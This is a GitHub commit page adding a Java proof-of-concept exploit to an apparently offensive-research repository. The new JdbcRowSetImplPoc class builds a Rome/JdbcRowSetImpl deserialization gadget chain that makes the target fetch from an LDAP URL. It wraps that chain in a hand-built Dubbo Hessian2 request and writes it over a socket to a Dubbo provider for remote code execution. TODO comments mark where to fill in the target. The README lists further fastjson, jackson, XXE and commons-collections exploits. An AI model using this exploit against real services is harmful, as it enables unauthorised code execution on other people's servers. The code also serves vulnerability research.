Skip to content

Commit baa5da3

Browse files
author
threedr3am
committed
feat:增加dubbo-hessian2 exp
1 parent d2e91b7 commit baa5da3

File tree

4 files changed

+198
-0
lines changed

4 files changed

+198
-0
lines changed

README.md

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,23 @@
11
### fastjson poc
22
1. com.threedr3am.bug.fastjson.FastjsonSerialize 利用条件:fastjson <= 1.2.24 + Feature.SupportNonPublicField
33
2. com.threedr3am.bug.fastjson.NoNeedAutoTypePoc 利用条件:fastjson < 1.2.48 不需要任何配置,默认配置通杀RCE
4+
3. ...
5+
6+
### jackson poc
7+
package:com.threedr3am.bug.jackson
8+
9+
### dubbo
10+
1. com.threedr3am.bug.dubbo.JdbcRowSetImplPoc 利用条件:存在rome依赖
411

512
### Padding Oracle CBC
613
1. com.threedr3am.bug.paddingoraclecbc.PaddingOracleCBC java实现padding oracle cbc
714
2. com.threedr3am.bug.paddingoraclecbc.PaddingOracleCBC2 多组的java实现padding oracle cbc
15+
16+
### XXE
17+
paclage:com.threedr3am.bug.xxe
18+
19+
### Commons-Collections
20+
package:com.threedr3am.bug.collections3
21+
22+
### Java Security Manager
23+
package:com.threedr3am.bug.security.manager

pom.xml

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -183,6 +183,17 @@
183183
</exclusion>
184184
</exclusions>
185185
</dependency>
186+
187+
<dependency>
188+
<groupId>com.rometools</groupId>
189+
<artifactId>rome</artifactId>
190+
<version>1.7.0</version>
191+
</dependency>
192+
<dependency>
193+
<groupId>org.apache.dubbo</groupId>
194+
<artifactId>dubbo</artifactId>
195+
<version>2.7.3</version>
196+
</dependency>
186197
</dependencies>
187198

188199
<build>
Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
package com.threedr3am.bug.dubbo;
2+
3+
import com.rometools.rome.feed.impl.EqualsBean;
4+
import com.rometools.rome.feed.impl.ToStringBean;
5+
import com.sun.rowset.JdbcRowSetImpl;
6+
import com.threedr3am.bug.server.LdapServer;
7+
import com.threedr3am.bug.utils.Reflections;
8+
import java.io.ByteArrayOutputStream;
9+
import java.io.OutputStream;
10+
import java.lang.reflect.Array;
11+
import java.lang.reflect.Constructor;
12+
import java.net.Socket;
13+
import java.util.HashMap;
14+
import java.util.Random;
15+
import org.apache.dubbo.common.io.Bytes;
16+
import org.apache.dubbo.common.serialize.Cleanable;
17+
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
18+
19+
/**
20+
* dubbo 默认配置,即hessian2反序列化,都可RCE
21+
* @author threedr3am
22+
*/
23+
public class JdbcRowSetImplPoc {
24+
25+
static {
26+
//rmi server示例
27+
// RmiServer.run();
28+
29+
//ldap server示例
30+
LdapServer.run();
31+
}
32+
33+
public static void main(String[] args) throws Exception {
34+
JdbcRowSetImpl rs = new JdbcRowSetImpl();
35+
//todo 此处填写ldap url
36+
rs.setDataSourceName("ldap://127.0.0.1:43658/Calc");
37+
rs.setMatchColumn("foo");
38+
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
39+
40+
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
41+
EqualsBean root = new EqualsBean(ToStringBean.class, item);
42+
43+
HashMap s = new HashMap<>();
44+
Reflections.setFieldValue(s, "size", 2);
45+
Class<?> nodeC;
46+
try {
47+
nodeC = Class.forName("java.util.HashMap$Node");
48+
}
49+
catch ( ClassNotFoundException e ) {
50+
nodeC = Class.forName("java.util.HashMap$Entry");
51+
}
52+
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
53+
nodeCons.setAccessible(true);
54+
55+
Object tbl = Array.newInstance(nodeC, 2);
56+
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
57+
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
58+
Reflections.setFieldValue(s, "table", tbl);
59+
60+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
61+
62+
// header.
63+
byte[] header = new byte[16];
64+
// set magic number.
65+
Bytes.short2bytes((short) 0xdabb, header);
66+
// set request and serialization flag.
67+
header[2] = (byte) ((byte) 0x80 | 2);
68+
69+
// set request id.
70+
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
71+
72+
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
73+
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
74+
75+
out.writeUTF("2.0.2");
76+
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
77+
out.writeUTF("com.threedr3am.learn.server.boot.DemoService");
78+
out.writeUTF("1.0");
79+
out.writeUTF("hello");
80+
//todo 方法描述不需要修改,因为此处需要指定map的payload去触发
81+
out.writeUTF("Ljava/util/Map;");
82+
out.writeObject(s);
83+
out.writeObject(new HashMap());
84+
85+
out.flushBuffer();
86+
if (out instanceof Cleanable) {
87+
((Cleanable) out).cleanup();
88+
}
89+
90+
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
91+
byteArrayOutputStream.write(header);
92+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
93+
94+
byte[] bytes = byteArrayOutputStream.toByteArray();
95+
96+
//todo 此处填写被攻击的dubbo服务提供者地址和端口
97+
Socket socket = new Socket("127.0.0.1", 20880);
98+
OutputStream outputStream = socket.getOutputStream();
99+
outputStream.write(bytes);
100+
outputStream.flush();
101+
outputStream.close();
102+
}
103+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
package com.threedr3am.bug.utils;
2+
3+
import java.lang.reflect.Constructor;
4+
import java.lang.reflect.Field;
5+
import java.lang.reflect.InvocationTargetException;
6+
import sun.reflect.ReflectionFactory;
7+
8+
9+
@SuppressWarnings ( "restriction" )
10+
public class Reflections {
11+
12+
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
13+
try {
14+
Field field = clazz.getDeclaredField(fieldName);
15+
if ( field != null )
16+
field.setAccessible(true);
17+
else if ( clazz.getSuperclass() != null )
18+
field = getField(clazz.getSuperclass(), fieldName);
19+
20+
return field;
21+
}
22+
catch ( NoSuchFieldException e ) {
23+
if ( !clazz.getSuperclass().equals(Object.class) ) {
24+
return getField(clazz.getSuperclass(), fieldName);
25+
}
26+
throw e;
27+
}
28+
}
29+
30+
31+
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
32+
final Field field = getField(obj.getClass(), fieldName);
33+
field.set(obj, value);
34+
}
35+
36+
37+
public static Object getFieldValue ( final Object obj, final String fieldName ) throws Exception {
38+
final Field field = getField(obj.getClass(), fieldName);
39+
return field.get(obj);
40+
}
41+
42+
43+
public static Constructor<?> getFirstCtor ( final String name ) throws Exception {
44+
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[ 0 ];
45+
ctor.setAccessible(true);
46+
return ctor;
47+
}
48+
49+
50+
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
51+
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
52+
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
53+
}
54+
55+
56+
@SuppressWarnings ( {
57+
"unchecked"
58+
} )
59+
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
60+
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
61+
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
62+
objCons.setAccessible(true);
63+
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
64+
sc.setAccessible(true);
65+
return (T) sc.newInstance(consArgs);
66+
}
67+
68+
}

0 commit comments

Comments
 (0)